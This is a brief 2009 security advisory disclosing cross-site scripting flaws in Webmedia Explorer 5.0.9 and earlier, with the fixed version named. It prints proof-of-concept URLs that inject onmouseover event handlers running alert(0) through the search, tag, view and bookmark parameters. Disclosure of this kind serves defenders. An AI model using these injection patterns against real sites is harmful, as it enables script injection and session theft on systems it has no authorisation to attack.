Webmedia Explorer Cross Site Scripting Vulnerability
19 Jun. 2009
Summary
Webmedia Explorer's search, tag, bookmark parameters have been found to contain a security vulnerability that allows remote attackers to cause cross site scripting vulnerabilities.
Credit:
The information has been provided by MaXe.
Vulnerable Systems:
* Webmedia Explorer version 5.0.9 and prior
Immune Systems:
* Webmedia Explorer version 5.10.0 and later
Cross Site Scripting: (by using event handlers) http://[HOST]/webmediaexpl/htdocs/index.php?search=" onmouseover=alert(0)
---
-- Will be executed when a user moves his mouse over the search field.
http://[HOST]/webmediaexpl/htdocs/?tag=" onmouseover=alert(0) ---
-- Will be executed when a user moves his mouse over a tag.
http://[HOST]/webmediaexpl/htdocs/?view=2&thisisnotarealcall=')"
onmouseover=alert(0) > ---
-- Will be executed when a user moves his mouse over the column field.
(unlikely)
http://[HOST]/webmediaexpl/htdocs/index.php?dir=&bookmark="
onmouseover=alert(0) > ---&action=edit
-- Requires admin access, however since this is a hidden tag exploitation is highly unlikely.
